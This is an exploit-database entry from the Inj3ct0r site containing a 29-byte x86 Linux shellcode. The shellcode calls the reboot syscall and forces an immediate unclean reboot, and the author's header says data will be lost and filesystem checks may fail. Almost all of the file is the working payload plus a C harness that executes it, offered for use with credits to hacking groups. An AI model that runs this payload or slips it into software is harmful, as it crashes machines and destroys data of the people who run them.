/* 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0 0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1 1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0 0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1 1 \ \____/ >> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 Title : hard reboot (without any message) and data will be lost shellcode Name : 29 bytes hard / unclean reboot with data will be lost x86 linux shellcode Date : Thu Jun 3 12:56:45 2010 Author : gunslinger_ <yudha.gunslinger[at]gmail.com> Web : http://devilzc0de.org blog : http://gunslingerc0de.wordpress.com tested on : linux ubuntu 9.04 , may cause fsck and fsck is failed (run fsck manually as root) special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org) greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew */ #include <stdio.h> char *shellcode= "\x31\xc0" /* xor %eax,%eax */ "\xb0\x58" /* mov $0x58,%al */ "\xbb\xad\xde\xe1\xfe" /* mov $0xfee1dead,%ebx */ "\xb9\x69\x19\x12\x28" /* mov $0x28121969,%ecx */ "\xba\x67\x45\x23\x01" /* mov $0x1234567,%edx */ "\xcd\x80" /* int $0x80 */ "\x31\xc0" /* xor %eax,%eax */ "\xb0\x01" /* mov $0x1,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80"; /* int $0x80 */ int main(void) { fprintf(stdout,"Length: %d\n",strlen(shellcode)); ((void (*)(void)) shellcode)(); return 0; }